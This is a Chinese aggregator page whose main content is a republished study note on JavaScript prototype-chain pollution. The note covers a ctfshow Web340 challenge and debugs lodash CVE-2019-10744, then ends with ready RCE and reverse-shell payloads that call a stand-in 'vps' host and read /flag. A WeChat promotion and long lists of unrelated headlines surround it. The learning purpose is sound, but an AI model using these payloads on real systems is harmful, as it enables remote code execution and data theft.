最新要闻
- 中梁控股2023年1-4月累计交付房屋22399套
- 世界资讯:对标千元级耳机!真我Buds Air5 Pro无线耳机官宣
- 天天热文:全球首例!我国完成介入式脑机接口非人灵长类动物试验:比马斯克公司更安全
- 一老年代步三轮车高速路狂飙:大众车速95km/h勉强跟上-全球新动态
- 新研究表明:超7成用户在手机电量低于20%时感到焦虑
- 《原子之心》通过Steam Deck验证 上手把玩姐妹花! 当前时讯
- 全球热资讯!歌尔股份发布首款XR智能交互手环参考设计
- 淘金币在哪里看_淘金币多久过期 世界讯息
- Redmi MAX 90英寸巨屏电视发布 首发只要7999元 天天关注
- 没有5G卖4G的华为手机好起来了!一季度出货量增加14%:排名全球第十|焦点滚动
- 没有肛门只吃不拉!儿时经常把玩的小虫:如今一斤卖6千-当前看点
- 环球动态:手机通话增加患高血压风险 专家建议:每周接打电话不超半小时
- 反串还是自爆?一日产轩逸车主:高速只开80、尽量不走慢车道_世界焦点
- 厨电行业消费疲软,老板电器该如何突围?
- 奥赛康:股东拟减持公司不超1%股份|环球焦点
- 每日看点!李蓓回应基金封盘:宁肯选择维持第二梯队的规模并争取维持一流的业绩
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
JavaScript原型链污染学习记录
1.JS原型和继承机制
0> 原型及其搜索机制
NodeJS原型机制,比较官方的定义:
(资料图)
我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象,
而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法
设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。
而原型机制恰好满足这种需求。
打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用
1> 原型链和继承
原型链
原型链是在原型上实现继承的一种形式
举个例子:
function Father(){ this.name = "father"; this.age = 66;}function Son(){ this.name = "son";}var father1 = new Father();Son.prototype = father1;var son1 = new Son();console.log(son1);console.log(son1.__proto__);console.log(son1.__proto__.__proto__);console.log(son1.__proto__.__proto__.__proto__);console.log(son1.__proto__.__proto__.__proto__.__proto__);/*Father { name: "son" }Father { name: "father", age: 66 }{}[Object: null prototype] {} null*/
整个的原型继承链如下:
关于原型搜索机制:
1)搜索当前实例属性
2)搜索当前实例的原型属性
3)迭代搜索直至null
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
在上面的例子中
console.log(son1.name);console.log(son1.age);/*son66 */
2> 内置对象的原型
这个也是多级原型链污染的基础
拿一张业内很经典的图来看看
2.姿势利用
1>利用原型污染进行RCE
global.process.mainModule.constructor._load("child_process").execSync("calc")
2>多级污染
在ctfshow Web340中有这么一题:
/* login.js */ var user = new function(){ this.userinfo = new function(){ this.isVIP = false; this.isAdmin = false; this.isAuthor = false; }; } utils.copy(user.userinfo,req.body); if(user.userinfo.isAdmin){ res.end(flag); }
由于Function
原型对象的原型也是Object
的原型,即
user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype
那么就可以通过这个进行多级污染,payload为如下形式:
{ "__proto__":{ "__proto__":{ attack_code } }}
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)
lodash版本 < 4.17.12
CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。
看下官方样例PoC的调试过程:
const lodash = require("lodash");const payload = "{"constructor": {"prototype": {"whoami": "hack"}}}"function check() { lodash.defaultsDeep({}, JSON.parse(payload)); if (({})["whoami"] === "hack") { console.log(`Vulnerable to Prototype Pollution via ${payload}`); console.log(Object.prototype); }}check();
开始调试:
在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。
所以主体逻辑为,而这段匿名函数也将为func
的函数的函数体
args.push(undefined, customDefaultsMerge);return apply(mergeWith, undefined, args);
查看overRest
在变量监听中可以发现,传入的参数整合成一个参数对象args
继续往下return apply
到apply
后进入,是个使用switch
并且根据参数个数作为依据
发现使用了call
,这里可能是个进行原型链继承的可利用点。
(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)
function Super(){}function Sub(){ Super.call(this); // 继承}
然后apply
中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMerge
为merge
的声明方式
继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])
基于start
的计算机制,不难得知undefined
是作为占位符,使得start
向后移动
继续调试,在NodeJS中,普通函数中调用this
等同于调用全局对象global
将assigner
视为合并的一个黑盒函数即可,至此完成原型链污染。
Question: 注意到PoC中的
lodash.defaultsDeep({}, JSON.parse(payload));
是要求先传入一个object
实例的(此处为{}
)所以还是具体分析一下合并的过程(来看下
assigner
的一些底层实现)注意:通常而言,合并需要考虑深浅拷贝的问题
/*baseMerge*/ function baseMerge(object, source, srcIndex, customizer, stack) { if (object === source) { // 优化判断是否为同一对象,是则直接返回 return; } // 遍历source的属性,选择深浅复制 baseFor(source, function(srcValue, key) { if (isObject(srcValue)) { stack || (stack = new Stack); baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack); } else { var newValue = customizer ? customizer(safeGet(object, key), srcValue, (key + ""), object, source, stack) : undefined; if (newValue === undefined) { newValue = srcValue; } assignMergeValue(object, key, newValue); } }, keysIn); }
var baseFor = createBaseFor();
function createBaseFor(fromRight) { // fromRight选择从哪端开始遍历 return function(object, iteratee, keysFunc) { var index = -1, iterable = Object(object), props = keysFunc(object), length = props.length; while (length--) { var key = props[fromRight ? length : ++index]; if (iteratee(iterable[key], key, iterable) === false) { // 这里的iteratee即为baseFor中的匿名函数 break; } } return object; }; }
那我就再调试一下,在iteratee
中(即匿名函数中),若为对象,则选择深拷贝。
原来在4.17.12之前的版本也是有waf的,只是比较弱。
回归正题,在customizer
之后便产生了合并
所以,为了更好地观察,我将{}
替换成[]
(Array
对象实例)
重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。
这是在生成属性时需要设置的四种数据属性
回归正题,发现只能写入Array
的原型
再验证一下
const lodash = require("lodash");const payload = "{"constructor": {"prototype": {"whoami": "hack"}}}"var object = new Object();function check() { // JSON.parse(payload)之后是一个JS对象 lodash.defaultsDeep([],JSON.parse(payload)); if (({})["whoami"] === "hack") { console.log(`Vulnerable to Prototype Pollution via ${payload}`); console.log(Object.prototype); }}check();console.log(Array.prototype);
所以说需要直接传入一个Object
的实例。
官方修复,直接上waf:检测JSON中的payload中的key值
此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格
总结一下,CVE-2019-10744可用的payload
# 反弹shell{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require("child_process").exec("bash -c \"echo $FLAG>/dev/tcp/vps/port \"")//"}}}# RCE// 对于某个object实例{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load("child_process").execSync("cat /flag")//"}}# 反弹shell{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require("child_process").exec("bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"");var __tmp2"}}
更多网安技能的在线实操练习,请点击这里>>
关键词:
JavaScript原型链污染学习记录
记录-Symbol学习笔记|环球速看
璞华助力“数字人社”,为成都市人社数字化建设提供多方位的产品与技术支持!
ChatGPT背后的打工人:你不干,有的是AI干_今热点
世界热讯:elementUi+table实现表格数据滚动
中梁控股2023年1-4月累计交付房屋22399套
全球热消息:【金融街发布】上交所修订发布公司债券存续期信息披露业务指引
每日头条!【财经分析】北京银行多项指标大幅落后同行 城商行“一哥”地位堪忧
世界资讯:对标千元级耳机!真我Buds Air5 Pro无线耳机官宣
天天热文:全球首例!我国完成介入式脑机接口非人灵长类动物试验:比马斯克公司更安全
一老年代步三轮车高速路狂飙:大众车速95km/h勉强跟上-全球新动态
新研究表明:超7成用户在手机电量低于20%时感到焦虑
《原子之心》通过Steam Deck验证 上手把玩姐妹花! 当前时讯
全球热资讯!歌尔股份发布首款XR智能交互手环参考设计
速讯:《安富莱嵌入式周报》第311期:300V可调节全隔离USB PD电源,开源交流负载分析仪,CANFD Trace,6位半多斜率精密ADC设计,开源数学库
淘金币在哪里看_淘金币多久过期 世界讯息
嵘泰转债异常交易处理结果出炉:匹配成交取消 不影响转股赎回|世界信息
Redmi MAX 90英寸巨屏电视发布 首发只要7999元 天天关注
没有5G卖4G的华为手机好起来了!一季度出货量增加14%:排名全球第十|焦点滚动
没有肛门只吃不拉!儿时经常把玩的小虫:如今一斤卖6千-当前看点
环球动态:手机通话增加患高血压风险 专家建议:每周接打电话不超半小时
反串还是自爆?一日产轩逸车主:高速只开80、尽量不走慢车道_世界焦点
厨电行业消费疲软,老板电器该如何突围?
天天百事通!绘画手残党的福音:涂鸦线稿秒变绝美图像
天天快播:保障用户买到限量版玩具,泡泡玛特用AIGC加持的验证码防范羊毛党
【光伏预报/太阳能预报】上海道宁与Solargi为您提供开发地理数据库模拟工具和网络服务 天天亮点
今日热门!Vue3项目(Vite+TS)使用Web Serial Api全记录
【快播报】抓住医院信息集成平台建设核心诉求
奥赛康:股东拟减持公司不超1%股份|环球焦点
世界黄金协会:一季度黄金总需求同比增长1% 央行购金仍可能成为今年支撑黄金需求的基石
每日看点!李蓓回应基金封盘:宁肯选择维持第二梯队的规模并争取维持一流的业绩
小伙日行三万步逛杭州 “特种兵式旅游”致半月板损伤
国内一集装箱惊现三辆特斯拉新跑车:被遗弃13年-全球讯息
凌晨四点的淄博什么样?烧烤店老板凌晨抢肉:热闹非凡_今日聚焦
自媒体称4月份接2笔理想商单共计30万 李想:造谣、法务部出来干活|每日消息
官方晒蒂法8岁、13岁美术设定图 身着连衣裙天真烂漫
网盘教育专享版,助力高校信息化和科研
环球信息:基于原子范数的深度展开网络实现
天天看热讯:Apache 配置https虚拟主机
世界快看点丨到底什么是小程序插件?
天天报道:如何不显示我的电脑、回收站等图标?
烟台高新区不断推进工程建设项目审批“应享尽享”水平 世界速看料
不愧是高端旗舰 RTX 4090游戏本性能爆棚:前提不差钱
高达12种!小米13成为史上颜色最多的小米手机
掀翻OLED!苹果自研MicroLED屏幕:进展顺利-每日速看
咋回事?董明珠1150万股格力股份遭冻结 市值约4亿元
对标拼多多?抖音推出“超便宜的小店”:试水低价电商|全球快看点
无锡市举办纪念五四运动 104周年主题团日活动
【天天速看料】Java基础学习之大数字处理相关的类有哪些?
将Windows系统设置NTP服务器-NetTime篇
金仓数据库字符串分割函数_天天速看料
深圳:港澳青年在深创业个人最高可贷60万元
苹果联合创始人炮轰马斯克自动驾驶画饼:想死就买特斯拉!
李佳琦面试75岁奶奶主播引围观:老人直呼为推广国货努力 这是国家自信
环球即时:调试器是个大骗子!
快速高效的C#FTP文件传输库FluentFTP|全球速讯
开心档之MySQL 导入数据-焦点报道
开封市通许县四所楼镇:让社情民意联络点当好民声传话筒|全球快讯
支持华为HMS服务!酷比魔方Pad 50Pro发布 首发899元
世界热点评!陌陌被苹果下架 官方回应:技术问题正解决 老用户不影响
这五一超20万人去淄博:鲁C变身网红旅游名城_快资讯
当前讯息:怎么看?老人欲插队被服务员严词拒绝:前有插队婆孙被网曝 还被做车贴很恶心
功能不成熟 马斯克推特直播秒变马赛克 网友吐槽:8-Bit埃隆_世界新要闻
今年全国快递业务量突破400亿件
常用的热门 API 汇总 环球热推荐
即时看!jasperreport开发手册--ireport教程
世界百事通!什么是EMR?为什么要以电子病历(EMR)为核心,建设医院信息集成平台?
安全验证必备——语音验证码短信 API 当前快看
火山引擎 DataTester 上线全新 MAB 智能调优实验
坎普斯boss怎么打_坎普斯怎么打_当前快讯
一机多用:劲能电钻/电动螺丝刀39元起(100元大额券) 每日速递
【天天热闻】向华为供货740万块硬盘 被重罚3亿美元!希捷:已和解并开始付罚金
当前观点:特斯拉公共充电桩功率仅23KW 比亚迪车主一度愧疚:把人家功率吸走了
又一五菱神车!宝骏悦也5月15日首发:车尾背个“大手表”
iPhone平均售价越来越高了!Pro和Pro Max最受果粉喜爱
当前短讯!浙江师范大学2023年硕士研究生复试录取办法
seventeen是哪个公司?seventeen在韩国是几线?seventeen有几个人?
冰淇淋和冰激凌区别是什么?明胶在冰淇淋中的作用是什么?
厨师的高帽子叫什么?为什么厨师要戴白色高帽子?
梦华录里的西京是哪里?梦华录是在哪些地方取景?
富士山在日本的哪里?富士山是私人的吗?富士山为什么是私人的?
boot priority是什么意思?boot priority怎么设置?
小米3s什么时候上市的?小米3s参数配置
百度网盘邀请码怎么使用?百度网盘邀请码大全
辽篮回沈阳!全员餐厅吃饭,张镇麟狂笑,莫兰德搞怪,回去仍加练-今亮点
centos7安装oracle11g11.2.0.4.0
【解决办法】三层交换机通过静态路由和接口互联,实现不同VLAN间通信的两种方法
ES全文检索,Neo4J,activiti审批流的知识库管理系统
thinkpad扩展坞接口怎么用?thinkpad的扩展坞有什么用?
移动磁盘无法写入文件怎么回事?移动磁盘无法写入文件怎么解决?
调查显示:电影“五一”档女性观众购票用户首次突破六成
699元 70迈4K旗舰行车记录仪A810发布:首发索尼IMX678_环球热头条
祝融号有重大发现:火星低纬度存在液态水
联想小新K3机械键盘发布:199元 91键小而全
天天头条:国内油价有望怒跌超3毛!基本抵消掉第八轮的微涨4毛
热血又感人!海外影迷评《长空之王》:5岁儿子非常喜欢
有景区免费发冰棍,有景区一盘炒鸡蛋48元——记者调查五一小长假山西景区旅游现状
当前关注:Zabbix“专家坐诊”第190期问答汇总
Linux IMX6ULL RTC掉电不保存问题解决|全球快报
苏宁零钱宝在哪里查看_苏宁零钱宝 环球看点